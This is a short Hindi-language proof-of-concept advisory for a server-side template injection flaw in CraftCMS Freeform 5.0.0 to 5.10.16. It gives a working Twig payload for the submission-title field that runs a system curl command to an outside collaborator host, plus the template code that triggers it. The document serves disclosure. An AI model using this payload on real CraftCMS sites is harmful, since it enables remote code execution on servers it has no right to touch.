
CraftCMS Freeform 5.0.0 < 5.10.16 में मनमाना कोड इंजेक्शन
CraftCMS Freeform में एक SSTI कमजोरी है, जिसके परिणामस्वरूप उन सभी उपयोगकर्ताओं के लिए मनमाना कोड इंजेक्शन हो सकता है जिनके पास फॉर्म (सबमिशन शीर्षक) को संपादित करने का अधिकार है।
कमजोर संस्करण v5.0.0 < v5.10.16 हैं।
एक फॉर्म बनाएँ:

मैंने यहाँ एक प्रमाण-अवधारणा के रूप में "pentest" फॉर्म बनाया। इसके बाद, सेटिंग्स में निम्नलिखित सबमिशन शीर्षक सेट करें (डोमेन नाम को अपने स्वयं के सर्वर में बदलें):
{{ 'system' | call('curl http://gwgyynafr4feu5xecukf1h2nqew5kw8l.oastify.com/rce') }}

यह एक मनमाना सिस्टम कॉल निष्पादित करेगा। इस मामले में, मैं एक नियंत्रित सर्वर पर कर्ल करता हूँ जो मुझे आने वाले कनेक्शनों के बारे में सूचित करेगा। इसके बाद, इस फॉर्म को एक टेम्पलेट/पेज में शामिल करें और सबमिट करें:
<h1>test</h1>
{% set form = freeform.form('pentest') %}
{% if form %}
{{ form.render() }}
{% else %}
<p>Form not found.</p>
{% endif %}
इससे कर्ल कमांड कॉल हो जाएगा। हम बनाए गए आने वाले HTTP अनुरोध को देखकर इसकी पुष्टि कर सकते हैं:

इस समस्या का मूल कारण यह है कि Freeform "call" Twig फ़िल्टर को उपयोगकर्ता इनपुट को मान्य किए बिना लागू करता है। इसे निम्नलिखित कमिट में ठीक किया गया था।